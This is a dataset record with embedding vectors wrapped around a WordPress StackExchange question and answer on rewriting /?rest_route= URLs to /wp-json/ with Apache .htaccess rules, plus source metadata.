0.01145172119140625, -0.0246429443359375, -0.03021240234375, -0.01323699951171875, -0.0029315948486328125, -0.06280517578125, 0.0177001953125, 0.010650634765625, -0.0237274169921875, 0.0208740234375, 0.0017185211181640625, 0.00659942626953125, -0.008758544921875, 0.009796142578125, 0.042144775390625, 0.0341796875, 0.02532958984375, -0.0167999267578125, 0.046478271484375, 0.00848388671875, -0.0170745849609375, 0.01044464111328125, 0.030120849609375, -0.0223541259765625, -0.0185546875, 0.041229248046875, 0.043975830078125, 0.016632080078125, 0.023529052734375, -0.02484130859375, -0.00298309326171875, 0.03778076171875, -0.003925323486328125, 0.046783447265625, 0.046142578125, -0.000576019287109375, -0.032745361328125, -0.0234375, -0.0025234222412109375, 0.00177001953125, 0.011962890625, -0.073974609375, -0.07928466796875, -0.013092041015625, -0.03460693359375, -0.01033782958984375, 0.0122222900390625, 0.05474853515625, -0.024505615234375, 0.00913238525390625, 0.02154541015625, -0.0106353759765625, -0.02398681640625, -0.0117034912109375, -0.03564453125, 0.00940704345703125, 0.04669189453125, 0.0166168212890625, -0.0167236328125, -0.04290771484375, 0.03369140625, -0.0009140968322753906, -0.070068359375, 0.03656005859375, 0.01148223876953125, 0.028076171875, 0.004955291748046875, 0.0121612548828125, 0.08258056640625, 0.033935546875, -0.05340576171875, 0.04144287109375, -0.005519866943359375, -0.050079345703125, -0.01020050048828125, -0.022003173828125, -0.0083465576171875, 0.01439666748046875, 0.0235748291015625, 0.00028967857360839844, 0.0307159423828125, 0.0025997161865234375, 0.0052947998046875, 0.01824951171875, -0.0088653564453125, 0.02423095703125, 0.0006909370422363281, 0.0278778076171875, 0.0162200927734375, 0.020904541015625, -0.04486083984375, -0.01038360595703125, -0.0178680419921875, -0.00832366943359375, -0.031463623046875, 0.08184814453125, -0.0089569091796875, 0.01947021484375, 0.00920867919921875, -0.062225341796875, 0.040313720703125, 0.0258636474609375, 0.040618896484375, -0.005840301513671875, 0.00656890869140625, -0.027435302734375, 0.0653076171875, 0.01123046875, -0.014801025390625, -0.02880859375, -0.0216522216796875, 0.0086212158203125, -0.053741455078125, -0.0032520294189453125, -0.0163726806640625, -0.0035533905029296875, 0.00653839111328125, 0.0298004150390625, 0.058013916015625, 0.0286865234375, 0.005802154541015625, -0.047271728515625, 0.1246337890625, -0.01355743408203125, 0.00064849853515625, -0.052947998046875, -0.018768310546875, 0.01180267333984375, -0.01233673095703125, 0.0237884521484375, 0.01861572265625, 0.0134735107421875, -0.009918212890625, 0.037109375, 0.0223388671875, 0.0193939208984375, -0.0171051025390625, 0.005275726318359375, 0.00121307373046875, -0.02569580078125, -0.0289459228515625, -0.00281524658203125, 0.0166015625, 0.0013895034790039062, 0.0173492431640625, 0.0087432861328125, -0.0241851806640625, -0.01294708251953125, 0.00563812255859375, -0.01541900634765625, -0.01421356201171875, -0.0096435546875, 0.00897216796875, -0.0472412109375, -0.028167724609375, 0.01338958740234375, 0.0056915283203125, -0.031829833984375, 0.01044464111328125, 0.061859130859375, 0.03778076171875, -0.004596710205078125, -0.035125732421875, -0.041656494140625, -0.0021305084228515625, 0.0215911865234375, -0.0316162109375, -0.0355224609375, -0.013458251953125, 0.051116943359375, -0.035614013671875, 0.044219970703125, -0.00853729248046875, -0.001811981201171875, -0.0005140304565429688, -0.0204925537109375, 0.0305633544921875, -0.03076171875, 0.0098114013671875, 0.05029296875, -0.00608062744140625, -0.0016202926635742188, -0.0011758804321289062, 0.01406097412109375, 0.016510009765625, -0.00937652587890625, -0.02484130859375, -0.0024967193603515625, -0.04656982421875, -0.0036067962646484375, 0.0347900390625, 0.0762939453125, 0.0117034912109375, -0.0418701171875, 0.034881591796875, 0.05047607421875, -0.049774169921875, -0.0811767578125, -0.058013916015625, -0.06451416015625, 0.01503753662109375, 0.01526641845703125, -0.0258636474609375, -0.007404327392578125, 0.054229736328125, 0.0261993408203125, -0.0176239013671875, 0.00510406494140625, 0.00484466552734375, -0.0017595291137695312, -0.0153045654296875, 0.004070281982421875, -0.0005865097045898438, -0.008697509765625, 0.004955291748046875, 0.052459716796875, 0.0019245147705078125, -0.036468505859375, -0.0152587890625, 0.053680419921875, -0.0193023681640625, -0.01947021484375, -0.0214080810546875, -0.028656005859375, -0.028167724609375, 0.006740570068359375, 0.031036376953125, -0.01751708984375, 0.00899505615234375, 0.00408935546875, -0.0222930908203125, 0.0012178421020507812, 0.0033283233642578125, -0.0031337738037109375, 0.0133819580078125, 0.0294647216796875, 0.00399017333984375, -0.01010894775390625, -0.0252838134765625, 0.01434326171875, -0.035400390625, -0.0303192138671875, 0.00624847412109375, -0.01309967041015625, 0.00743865966796875, -0.01580810546875, 0.023284912109375, -0.0016345977783203125, 0.062408447265625, -0.02301025390625, -0.005207061767578125, -0.0245819091796875, -0.011810302734375, -0.055816650390625, 0.004528045654296875, -0.020233154296875, 0.04803466796875, 0.003509521484375, 0.006626129150390625, -0.032928466796875, 0.0303802490234375, -0.026702880859375, -0.0877685546875, 0.0355224609375, -0.02740478515625, 0.008758544921875, -0.028778076171875, -0.01727294921875, 0.0185546875, 0.095703125, -0.0003924369812011719, -0.0146636962890625, -0.00759124755859375, 0.005977630615234375, -0.04400634765625, 0.004207611083984375, -0.057037353515625, -0.001697540283203125, -0.07183837890625, 0.004100799560546875, 0.01441192626953125, -0.029083251953125, -0.0162811279296875, 0.0291748046875, -0.05499267578125, -0.01548004150390625, 0.04998779296875, -0.0173187255859375, 0.00955963134765625, 0.01369476318359375, 0.0099334716796875, -0.01934814453125, -0.0299072265625, 0.010162353515625, -0.0116119384765625, -0.007152557373046875, 0.0107879638671875, 0.030609130859375, 0.0243682861328125, -0.058258056640625, -0.0133819580078125, 0.0355224609375, 0.0020198822021484375, 0.04925537109375, -0.00484466552734375, 0.006511688232421875, -0.006191253662109375, -0.00726318359375, 0.00933837890625, -0.013336181640625, -0.00008231401443481445, -0.0164947509765625, -0.015289306640625, 0.01715087890625, -0.049072265625, 0.041900634765625, -0.040985107421875, -0.00208282470703125, -0.055908203125, -0.02587890625, 0.04461669921875, 0.019866943359375, -0.0172576904296875, 0.03729248046875, -0.0240020751953125, -0.025634765625, 0.045166015625, 0.0245361328125, -0.016693115234375, -0.0162506103515625, 0.06268310546875, 0.00980377197265625, -0.044281005859375, -0.01511383056640625, 0.0210418701171875, 0.042877197265625, 0.012481689453125, 0.04449462890625, -0.0023784637451171875, -0.0257720947265625, 0.06011962890625, 0.01377105712890625, -0.00738525390625, 0.05035400390625, 0.01534271240234375, 0.01629638671875, -0.022430419921875, 0.000667572021484375, 0.004131317138671875, -0.01152801513671875, 0.02459716796875, -0.00569915771484375, 0.009521484375, 0.01450347900390625, 0.0018510818481445312, 0.0016794204711914062, -0.02874755859375, -0.01509857177734375, -0.01122283935546875, -0.00865936279296875, 0.0416259765625, -0.0006732940673828125, 0.03936767578125, -0.01235198974609375, -0.0201873779296875, 0.00856781005859375, -0.0114288330078125, -0.03314208984375, -0.02679443359375, -0.01163482666015625, -0.00678253173828125, 0.00200653076171875, -0.0152130126953125, -0.0137786865234375, 0.003246307373046875, -0.0198516845703125, -0.02978515625, -0.051849365234375, -0.0238800048828125, -0.007160186767578125, 0.0445556640625, 0.043060302734375, -0.0255584716796875, 0.0304107666015625, 0.04248046875, 0.00855255126953125, -0.020172119140625, -0.07733154296875, 0.05902099609375, -0.0362548828125, -0.0117340087890625, -0.004787445068359375, -0.006961822509765625, -0.008148193359375, 0.07843017578125, -0.035858154296875, 0.05828857421875, -0.0111236572265625, 0.03338623046875, 0.01934814453125, 0.0156402587890625, 0.020965576171875, -0.00691986083984375, 0.0194244384765625, -0.02337646484375, -0.0006089210510253906, -0.042388916015625, -0.040130615234375, 0.0183868408203125, 0.043365478515625, -0.043914794921875, -0.0254974365234375, 0.027496337890625, 0.0016031265258789062, -0.03167724609375, 0.041351318359375, 0.006320953369140625, -0.01690673828125, -0.05938720703125, -0.0007424354553222656, 0.078857421875, 0.0237884521484375, -0.0162506103515625, 0.006015777587890625, -0.02886962890625, 0.020355224609375, -0.032135009765625, 0.007366180419921875, 0.0066070556640625, 0.00022101402282714844, -0.0521240234375, -0.0186920166015625, 0.0247039794921875, -0.03924560546875, 0.0009350776672363281, -0.0261688232421875, -0.059478759765625, 0.043914794921875, -0.008758544921875, 0.04010009765625, -0.049713134765625, -0.02691650390625, -0.0538330078125, -0.00846099853515625, 0.050201416015625, 0.046722412109375, -0.013641357421875, -0.0167999267578125, -0.0247344970703125, -0.03204345703125, 0.0234527587890625, -0.03564453125, -0.033660888671875, -0.029937744140625, 0.0063629150390625, 0.027130126953125, -0.01239776611328125, -0.044219970703125, -0.02288818359375, -0.0080413818359375, 0.0205078125, 0.0231475830078125, -0.01279449462890625, 0.006145477294921875, 0.03369140625, 0.022552490234375, 0.0093841552734375, -0.0291595458984375, -0.034210205078125, -0.0244140625, 0.0222320556640625, -0.03582763671875, -0.033172607421875, 0.00974273681640625, -0.0273590087890625, -0.01552581787109375, 0.01279449462890625, -0.01149749755859375, 0.01428985595703125, -0.01515960693359375, 0.01239776611328125, -0.0255279541015625, 0.01215362548828125, -0.04608154296875, -0.041107177734375, 0.036102294921875, -0.055267333984375, -0.0474853515625, 0.00222015380859375, -0.02001953125, 0.043487548828125, -0.0200042724609375, 0.0152740478515625, 0.0164337158203125, -0.045654296875, 0.0675048828125, 0.0885009765625, 0.00403594970703125, 0.042694091796875, 0.0210418701171875, 0.01187896728515625, 0.02362060546875, 0.01505279541015625, 0.043182373046875, 0.02294921875, 0.05364990234375, -0.0190887451171875, -0.01416015625, -0.0018072128295898438, -0.0374755859375, -0.030059814453125, 0.003948211669921875, 0.0069580078125, -0.0205078125, -0.0094146728515625, 0.01015472412109375, 0.0013647079467773438, -0.033050537109375, 0.016876220703125, -0.016387939453125, -0.045684814453125, 0.0518798828125, -0.018829345703125, 0.0027141571044921875, 0.025115966796875, -0.0203399658203125, 0.04937744140625, -0.0006709098815917969, 0.0311126708984375, -0.0024471282958984375, -0.07366943359375, -0.029144287109375, 0.055419921875, -0.0023555755615234375, -0.058746337890625, -0.01641845703125, 0.0288543701171875, -0.0189208984375, -0.088134765625, 0.0247955322265625, 0.0021228790283203125, 0.0201416015625, 0.035308837890625, -0.00786590576171875, -0.0053558349609375, 0.048492431640625, -0.005718231201171875, 0.03753662109375, 0.026763916015625, -0.035247802734375, -0.01483917236328125, 0.0003726482391357422, -0.00812530517578125, 0.026031494140625, -0.06427001953125, -0.01004791259765625, -0.04132080078125, 0.06646728515625, -0.0032215118408203125, -0.00159454345703125, 0.0017805099487304688, -0.009033203125, -0.0244598388671875, 0.023773193359375, 0.043060302734375, 0.0018968582153320312, 0.02593994140625, 0.047607421875, -0.006343841552734375, 0.0290374755859375, 0.048614501953125, 0.0179290771484375, -0.0509033203125, -0.004611968994140625, -0.0850830078125, 0.011474609375, -0.01535797119140625, 0.06768798828125, 0.0277862548828125, -0.0228118896484375, 0.001117706298828125, -0.0472412109375, -0.04449462890625, 0.03546142578125, 0.05206298828125, 0.06268310546875, -0.0638427734375, -0.0521240234375, 0.038970947265625, 0.08587646484375, 0.0014400482177734375, -0.00594329833984375, -0.005123138427734375, 0.0024852752685546875, 0.036529541015625, 0.01309967041015625, -0.0228118896484375, 0.02606201171875, 0.0198974609375, -0.0115966796875, 0.07843017578125, 0.007030487060546875, 0.050018310546875, 0.0171661376953125, 0.0179443359375, 0.03033447265625, 0.0159759521484375, -0.003314971923828125, -0.006366729736328125, 0.028106689453125, -0.023773193359375, -0.006134033203125, 0.0117950439453125, 0.0040435791015625, -0.00870513916015625, 0.049102783203125, 0.0098419189453125, -0.058258056640625, -0.01078033447265625, -0.0299072265625, 0.036865234375, -0.00754547119140625, 0.046234130859375, 0.05340576171875, 0.0229949951171875, 0.050262451171875, 0.043243408203125, 0.033966064453125, 0.035614013671875, -0.01287078857421875, 0.03155517578125, 0.01812744140625, 0.029876708984375, -0.026580810546875, 0.0093841552734375, 0.049407958984375, 0.058074951171875, -0.040771484375, -0.0230712890625, 0.014312744140625, 0.004230499267578125, 0.01346588134765625, -0.0240325927734375, 0.032989501953125, -0.025665283203125, -0.001987457275390625, -0.0190582275390625, 0.010345458984375, 0.0287933349609375, 0.0257415771484375, 0.0130767822265625, 0.030731201171875, -0.05938720703125, -0.019256591796875, -0.045806884765625, 0.053009033203125, 0.00672149658203125, 0.07366943359375, -0.0040283203125, 0.067138671875, -0.0570068359375, -0.03436279296875, -0.02178955078125, 0.0033321380615234375, 0.014404296875, -0.00373077392578125, -0.02960205078125, 0.0217132568359375, -0.011993408203125, 0.0296478271484375, 0.023590087890625, 0.014617919921875, 0.040252685546875, 0.059356689453125, 0.01019287109375, -0.01324462890625, 0.0648193359375, 0.007389068603515625, 0.0020160675048828125, -0.0294647216796875, -0.003971099853515625, 0.00434112548828125, 0.00321197509765625, -0.00841522216796875, 0.020172119140625, 0.029144287109375, -0.08087158203125, 0.0364990234375, -0.03509521484375, -0.0665283203125, 0.0191802978515625, -0.051849365234375, 0.0987548828125, -0.05108642578125, -0.035858154296875, 0.00946807861328125, -0.0413818359375, -0.016448974609375, 0.00969696044921875, 0.01629638671875, -0.024993896484375, 0.0555419921875, -0.00112152099609375, -0.0202484130859375, 0.00923919677734375, 0.0272064208984375, -0.0209197998046875, -0.044921875, 0.0169677734375, -0.037567138671875, -0.027862548828125, -0.003032684326171875, 0.00849151611328125, 0.01125335693359375, 0.0163421630859375, 0.01239013671875, 0.0245819091796875, -0.00052642822265625, -0.036407470703125, 0.0027217864990234375, -0.015533447265625, -0.045440673828125, 0.04736328125, -0.0010881423950195312, -0.015838623046875, -0.00914764404296875, 0.025848388671875, -0.01313018798828125, 0.06298828125, -0.0279693603515625, -0.0191802978515625, -0.0255279541015625, 0.04193115234375, -0.029327392578125, 0.038970947265625, -0.022491455078125, -0.041748046875, -0.054168701171875, -0.0248565673828125, 0.0180816650390625, 0.035980224609375, 0.0184326171875, 0.0221405029296875, 0.039276123046875, -0.039337158203125, 0.025665283203125, -0.026153564453125, 0.062225341796875, 0.0537109375, 0.031524658203125, 0.0207061767578125, 0.0215606689453125, -0.02398681640625, 0.01456451416015625, 0.01503753662109375, 0.0005507469177246094, -0.01122283935546875, -0.01441192626953125, -0.00040721893310546875, 0.02734375, 0.00893402099609375, -0.03216552734375, -0.0017824172973632812, 0.01611328125, -0.037994384765625, 0.044677734375, -0.01468658447265625, -0.049774169921875, -0.046905517578125, 0.0386962890625, 0.01099395751953125, 0.006725311279296875, -0.00502777099609375, -0.037109375, -0.02728271484375, 0.012176513671875, 0.0026645660400390625, 0.006381988525390625, -0.021942138671875, -0.0025806427001953125, -0.01128387451171875, -0.001384735107421875, -0.01055908203125, -0.01010894775390625, 0.0077362060546875, -0.045074462890625, -0.0266876220703125, -0.052398681640625, -0.005279541015625, -0.06298828125, -0.038177490234375, -0.014312744140625, 0.0152435302734375, -0.028350830078125, -0.04583740234375, -0.038330078125, -0.002925872802734375, 0.01374053955078125, -0.0176849365234375, 0.0129852294921875, -0.0007658004760742188, -0.0303497314453125, -0.048919677734375, 0.0194091796875, -0.0282745361328125, -0.0109710693359375, 0.0302886962890625, -0.0102081298828125, 0.0187835693359375, -0.0168914794921875, -0.057525634765625, 0.061004638671875, -0.006656646728515625, -0.0330810546875, -0.03436279296875, 0.03533935546875, -0.032684326171875, 0.0272369384765625, 0.003749847412109375, -0.045074462890625, 0.028289794921875, 0.047332763671875, 0.00969696044921875, 0.0021686553955078125, 0.01232147216796875, -0.00732421875, -0.0418701171875, 0.0098114013671875, 0.002094268798828125, -0.0106964111328125, -0.005764007568359375, 0.01361846923828125, -0.0195159912109375, 0.006740570068359375, -0.0169219970703125, -0.054443359375, -0.007320404052734375, -0.007266998291015625, 0.036773681640625, -0.06903076171875, -0.054290771484375, -0.06854248046875, 0.0196990966796875, -0.006317138671875, 0.0148468017578125, 0.033843994140625, -0.01018524169921875, 0.04345703125, 0.00191497802734375, 0.0143280029296875, 0.0170440673828125, -0.0180206298828125, -0.0014162063598632812, -0.0236663818359375, 0.0194244384765625, 0.03704833984375, 0.01282501220703125, -0.01641845703125, -0.030303955078125, -0.0210723876953125, -0.04217529296875, -0.049591064453125, -0.050140380859375, 0.02349853515625, -0.0252838134765625, -0.0372314453125, 0.00803375244140625, 0.0262451171875, -0.03765869140625, 0.0023593902587890625, -0.013336181640625, -0.017181396484375, 0.05010986328125, 0.02740478515625, 0.0257720947265625, 0.038360595703125, 0.01519012451171875, 0.004444122314453125, -0.01617431640625, 0.0228424072265625, -0.0004391670227050781, 0.01383209228515625, -0.0260772705078125, 0.043060302734375, 0.01174163818359375, 0.0928955078125, 0.0185394287109375, 0.050018310546875, 0.0014715194702148438, 0.051055908203125, 0.005489349365234375, -0.032196044921875, 0.039794921875, -0.0428466796875, 0.0013151168823242188, -0.007770538330078125, -0.020111083984375, -0.018951416015625, -0.038848876953125, 0.0052947998046875, -0.0340576171875, -0.0025920867919921875 ]
3adaaca9d005dc85003e036d7f38a6a9a0091099
Wordpress Stackexchange Q: Rewrite /?rest_route=/ link to /wp-json/ without changing default permalink structure in apache How to rewrite url of wordpress rest api from http://example.com/?rest_route=/wp/v2/ to http://example.com/wp-json/wp/v2/ without changing (default) permalink structure? Need this for apache (htaccess). In nginx it would be like this: location ~ ^/wp-json/ { rewrite ^/wp-json/(.*?)$ /?rest_route=/$1 last; } A: Solved by this lines: RewriteEngine On RewriteBase / RewriteRule ^wp-json/(.*) /?rest_route=/$1 [L]
Q: Rewrite /?rest_route=/ link to /wp-json/ without changing default permalink structure in apache How to rewrite url of wordpress rest api from http://example.com/?rest_route=/wp/v2/ to http://example.com/wp-json/wp/v2/ without changing (default) permalink structure? Need this for apache (htaccess). In nginx it would be like this: location ~ ^/wp-json/ { rewrite ^/wp-json/(.*?)$ /?rest_route=/$1 last; } A: Solved by this lines: RewriteEngine On RewriteBase / RewriteRule ^wp-json/(.*) /?rest_route=/$1 [L]
wordpress
{ "language": "en", "length": 64, "provenance": "stackexchange_00019.jsonl.gz:486906", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/306033" }
[ 0.0406494140625, -0.0017213821411132812, -0.00533294677734375, -0.033935546875, -0.0034160614013671875, -0.006427764892578125, 0.0198822021484375, -0.0252532958984375, -0.025177001953125, -0.00902557373046875, -0.0297698974609375, -0.00478363037109375, -0.023529052734375, -0.037811279296875, 0.03631591796875, -0.057373046875, 0.01122283935546875, 0.018096923828125, 0.042144775390625, -0.01427459716796875, 0.01358795166015625, -0.0198974609375, 0.021881103515625, 0.03564453125, 0.010833740234375, 0.004375457763671875, 0.0792236328125, -0.023834228515625, 0.00836181640625, -0.0033779144287109375, 0.00823211669921875, -0.032501220703125, 0.030609130859375, 0.035552978515625, -0.05633544921875, -0.037689208984375, 0.00504302978515625, -0.0023288726806640625, -0.02069091796875, 0.02911376953125, 0.0256195068359375, -0.0247039794921875, 0.03704833984375, -0.0008611679077148438, 0.0132598876953125, -0.00499725341796875, 0.0256805419921875, -0.05792236328125, 0.0012645721435546875, -0.002166748046875, 0.009368896484375, 0.04412841796875, 0.00789642333984375, 0.0062408447265625, -0.003849029541015625, 0.005138397216796875, 0.0299224853515625, -0.026580810546875, 0.026641845703125, -0.02630615234375, -0.021484375, 0.004726409912109375, 0.0246734619140625, 0.0304107666015625, 0.01641845703125, -0.00992584228515625, -0.002918243408203125, 0.039947509765625, -0.0273284912109375, 0.0357666015625, 0.027008056640625, -0.03594970703125, -0.01995849609375, -0.0226898193359375, -0.006679534912109375, -0.0101318359375, 0.0253448486328125, -0.01953125, -0.0121002197265625, 0.019500732421875, 0.00797271728515625, -0.0401611328125, 0.0259552001953125, -0.041259765625, 0.0178375244140625, -0.03173828125, -0.005878448486328125, 0.00229644775390625, -0.053924560546875, -0.0199432373046875, -0.028411865234375, -0.07391357421875, -0.0833740234375, 0.019989013671875, 0.0343017578125, -0.01505279541015625, -0.02288818359375, -0.047027587890625, 0.0153961181640625, 0.02642822265625, 0.064453125, -0.07794189453125, 0.08209228515625, -0.0267333984375, -0.00609588623046875, 0.00577545166015625, 0.0283050537109375, 0.0246124267578125, 0.047332763671875, 0.01168060302734375, -0.012054443359375, 0.1171875, 0.011962890625, 0.006130218505859375, -0.0311279296875, -0.023895263671875, -0.038360595703125, 0.0060577392578125, -0.01398468017578125, -0.015716552734375, -0.033721923828125, -0.006183624267578125, 0.016204833984375, 0.045257568359375, 0.0185089111328125, 0.0264739990234375, -0.0038166046142578125, -0.022308349609375, -0.023681640625, 0.0019474029541015625, -0.0028934478759765625, 0.02532958984375, 0.0250396728515625, 0.039398193359375, -0.0043487548828125, 0.001781463623046875, 0.01837158203125, 0.0228729248046875, 0.00836181640625, 0.00882720947265625, 0.006175994873046875, -0.019195556640625, 0.01361083984375, 0.00917816162109375, 0.01398468017578125, 0.0138702392578125, 0.0278472900390625, 0.01427459716796875, -0.012420654296875, -0.0097808837890625, -0.00838470458984375, 0.00646209716796875, 0.0302276611328125, 0.0295867919921875, 0.024444580078125, -0.0046234130859375, 0.0767822265625, -0.03759765625, -0.030792236328125, -0.037567138671875, 0.0004363059997558594, -0.0254364013671875, 0.018310546875, -0.0257568359375, -0.044097900390625, 0.01904296875, -0.044952392578125, -0.027862548828125, 0.024627685546875, 0.034027099609375, 0.016632080078125, -0.01456451416015625, -0.01085662841796875, -0.01020050048828125, -0.0025959014892578125, -0.00632476806640625, 0.00036334991455078125, 0.0036754608154296875, -0.0032672882080078125, 0.06683349609375, 0.04290771484375, -0.0338134765625, 0.00434112548828125, 0.02734375, -0.05316162109375, 0.080810546875, -0.0015869140625, 0.10211181640625, -0.007366180419921875, 0.0189971923828125, 0.0223541259765625, 0.0286865234375, -0.01226043701171875, 0.00988006591796875, -0.030364990234375, -0.048736572265625, 0.032623291015625, -0.00763702392578125, -0.0302886962890625, 0.02984619140625, -0.0577392578125, 0.026641845703125, -0.03924560546875, 0.03033447265625, -0.0108489990234375, -0.0021953582763671875, -0.006298065185546875, 0.0284271240234375, -0.0153656005859375, 0.03497314453125, 0.0270538330078125, 0.049346923828125, -0.05596923828125, -0.0269775390625, 0.0033321380615234375, 0.045166015625, -0.0086517333984375, 0.0112457275390625, 0.004489898681640625, 0.0213470458984375, -0.005329132080078125, -0.017730712890625, 0.0043487548828125, 0.0150299072265625, 0.03656005859375, -0.028564453125, -0.0019474029541015625, -0.04388427734375, 0.04150390625, -0.0216064453125, -0.011077880859375, 0.03338623046875, 0.0016222000122070312, 0.0098419189453125, -0.0251922607421875, -0.0006432533264160156, -0.0029239654541015625, -0.0276031494140625, 0.017333984375, 0.03411865234375, 0.0219268798828125, 0.03350830078125, -0.01027679443359375, 0.006343841552734375, 0.048370361328125, -0.035400390625, 0.003520965576171875, 0.0133056640625, -0.0016317367553710938, -0.006572723388671875, 0.0271453857421875, -0.032684326171875, 0.0231781005859375, -0.0499267578125, -0.0275421142578125, 0.041107177734375, -0.00377655029296875, -0.005947113037109375, -0.01430511474609375, -0.0084991455078125, 0.009033203125, -0.00958251953125, -0.0247344970703125, -0.004566192626953125, 0.0027904510498046875, -0.007434844970703125, 0.0164642333984375, 0.0302581787109375, 0.0006289482116699219, -0.0294189453125, 0.01189422607421875, 0.01128387451171875, -0.004238128662109375, 0.06134033203125, 0.0399169921875, 0.0009074211120605469, -0.01190948486328125, -0.0221710205078125, -0.0003032684326171875, 0.0418701171875, -0.002002716064453125, 0.045806884765625, -0.006534576416015625, -0.0075836181640625, -0.0223236083984375, -0.0273590087890625, 0.0013141632080078125, 0.006008148193359375, 0.038238525390625, 0.04669189453125, 0.050262451171875, 0.0265655517578125, 0.01739501953125, 0.0233917236328125, -0.006839752197265625, -0.0046844482421875, 0.037261962890625, -0.024993896484375, 0.03961181640625, -0.0299224853515625, -0.0026264190673828125, 0.033843994140625, -0.00555419921875, -0.0248870849609375, 0.0007457733154296875, 0.01474761962890625, -0.0163726806640625, -0.005886077880859375, -0.02691650390625, -0.020660400390625, -0.03350830078125, 0.0181732177734375, 0.022216796875, -0.01154327392578125, 0.0323486328125, -0.0283355712890625, 0.0036449432373046875, 0.0251922607421875, -0.07861328125, -0.0926513671875, 0.05523681640625, -0.0249481201171875, 0.004482269287109375, 0.0164337158203125, -0.0236358642578125, -0.037933349609375, 0.048095703125, -0.0149078369140625, -0.006862640380859375, -0.01134490966796875, -0.06988525390625, -0.055084228515625, -0.0791015625, -0.02178955078125, -0.017608642578125, 0.0096588134765625, 0.0164642333984375, -0.005619049072265625, 0.0106048583984375, -0.007450103759765625, 0.0305938720703125, 0.05413818359375, -0.032257080078125, -0.047027587890625, 0.00984954833984375, -0.0014047622680664062, -0.01287078857421875, 0.006072998046875, 0.0946044921875, 0.03851318359375, -0.055755615234375, 0.020233154296875, -0.01161956787109375, -0.0271759033203125, 0.0022640228271484375, 0.002597808837890625, 0.016082763671875, -0.02545166015625, 0.0021724700927734375, -0.05548095703125, -0.053070068359375, -0.00739288330078125, -0.051483154296875, 0.0276641845703125, 0.0233154296875, -0.007526397705078125, -0.0247039794921875, 0.035858154296875, 0.0170440673828125, -0.0183868408203125, 0.026641845703125, -0.02032470703125, 0.0556640625, -0.008880615234375, 0.00555419921875, -0.0521240234375, 0.07684326171875, -0.0074005126953125, -0.034393310546875, 0.00445556640625, -0.0328369140625, -0.041656494140625, -0.00965118408203125, -0.078369140625, -0.04248046875, 0.035430908203125, -0.04681396484375, -0.01502227783203125, -0.0276336669921875, -0.0078125, -0.00868988037109375, 0.049652099609375, 0.01308441162109375, -0.019744873046875, -0.006992340087890625, 0.0170440673828125, -0.0352783203125, -0.038238525390625, -0.01026153564453125, -0.0138092041015625, -0.03387451171875, -0.0289764404296875, -0.0261993408203125, -0.0386962890625, 0.01457977294921875, -0.045867919921875, 0.004375457763671875, -0.03436279296875, 0.038970947265625, -0.06585693359375, -0.020416259765625, 0.03570556640625, 0.0007476806640625, -0.03436279296875, -0.036651611328125, -0.007556915283203125, -0.058807373046875, -0.0189361572265625, -0.0014467239379882812, 0.042816162109375, 0.0167388916015625, -0.050628662109375, 0.01450347900390625, 0.046356201171875, 0.003871917724609375, 0.01413726806640625, 0.001422882080078125, -0.001232147216796875, -0.022308349609375, 0.0203094482421875, 0.00799560546875, -0.0007262229919433594, -0.00566864013671875, -0.007965087890625, -0.01415252685546875, 0.040618896484375, -0.002361297607421875, 0.0145111083984375, 0.0125274658203125, -0.024505615234375, -0.061370849609375, -0.03826904296875, -0.049560546875, 0.053497314453125, -0.023956298828125, 0.0034198760986328125, -0.0589599609375, -0.08782958984375, 0.040130615234375, 0.015960693359375, -0.0283660888671875, 0.0010728836059570312, 0.033599853515625, 0.0159149169921875, -0.036834716796875, -0.03155517578125, 0.00542449951171875, 0.0169677734375, 0.0028896331787109375, 0.045684814453125, -0.004871368408203125, -0.00011330842971801758, 0.055877685546875, -0.0201416015625, -0.01178741455078125, 0.05450439453125, -0.0406494140625, 0.0182037353515625, -0.0435791015625, 0.01383209228515625, 0.01116180419921875, -0.038818359375, 0.033172607421875, 0.0190582275390625, -0.01198577880859375, 0.00408935546875, 0.0106201171875, -0.00846099853515625, -0.018402099609375, -0.0106964111328125, -0.045562744140625, 0.0268707275390625, -0.0168609619140625, 0.050140380859375, -0.01119232177734375, 0.00726318359375, 0.0418701171875, 0.03363037109375, -0.0251312255859375, 0.00632476806640625, 0.020965576171875, -0.0023326873779296875, 0.00981903076171875, -0.01447296142578125, -0.032958984375, -0.0299530029296875, -0.00787353515625, 0.061614990234375, 0.0100860595703125, -0.0259246826171875, -0.00284576416015625, -0.02679443359375, 0.003566741943359375, 0.0181427001953125, 0.005466461181640625, 0.028411865234375, 0.0257568359375, -0.0011749267578125, -0.0037670135498046875, -0.004337310791015625, -0.016571044921875, -0.046783447265625, 0.0506591796875, 0.0185089111328125, -0.0005946159362792969, -0.006374359130859375, 0.07928466796875, 0.031890869140625, 0.036224365234375, -0.0152740478515625, 0.0127716064453125, -0.021575927734375, 0.053436279296875, 0.004398345947265625, -0.00443267822265625, 0.02203369140625, 0.015411376953125, 0.00794219970703125, -0.0304107666015625, -0.01355743408203125, 0.04180908203125, 0.061767578125, -0.02569580078125, -0.0267181396484375, -0.0110931396484375, -0.033294677734375, -0.0168609619140625, -0.0289306640625, -0.042938232421875, 0.006988525390625, -0.01093292236328125, 0.01554107666015625, 0.037353515625, 0.0192108154296875, 0.006107330322265625, -0.0272216796875, 0.03363037109375, 0.037750244140625, 0.01030731201171875, -0.01267242431640625, 0.0278778076171875, 0.0220794677734375, 0.005130767822265625, -0.0221710205078125, 0.0033550262451171875, -0.005344390869140625, 0.0158843994140625, -0.0268402099609375, -0.0234527587890625, 0.0323486328125, 0.0014390945434570312, 0.01560211181640625, -0.0223236083984375, -0.00460052490234375, -0.0250091552734375, -0.007274627685546875, 0.030181884765625, 0.018707275390625, -0.0209503173828125, -0.00597381591796875, -0.027679443359375, -0.00830841064453125, 0.03521728515625, 0.00299835205078125, -0.0178985595703125, -0.025665283203125, 0.0194091796875, 0.019805908203125, 0.005252838134765625, -0.01206207275390625, -0.001079559326171875, 0.0112762451171875, 0.005283355712890625, 0.020538330078125, -0.019927978515625, 0.1007080078125, -0.050018310546875, 0.06463623046875, -0.0166778564453125, 0.03887939453125, -0.024871826171875, -0.01244354248046875, -0.0025920867919921875, -0.05120849609375, -0.042266845703125, -0.00861358642578125, -0.04315185546875, 0.06427001953125, 0.08392333984375, 0.0018405914306640625, 0.0085906982421875, -0.018096923828125, 0.0004131793975830078, -0.02813720703125, 0.0204620361328125, -0.046966552734375, 0.033905029296875, -0.0416259765625, 0.034210205078125, 0.04766845703125, -0.037139892578125, 0.0005273818969726562, -0.048492431640625, 0.0247344970703125, 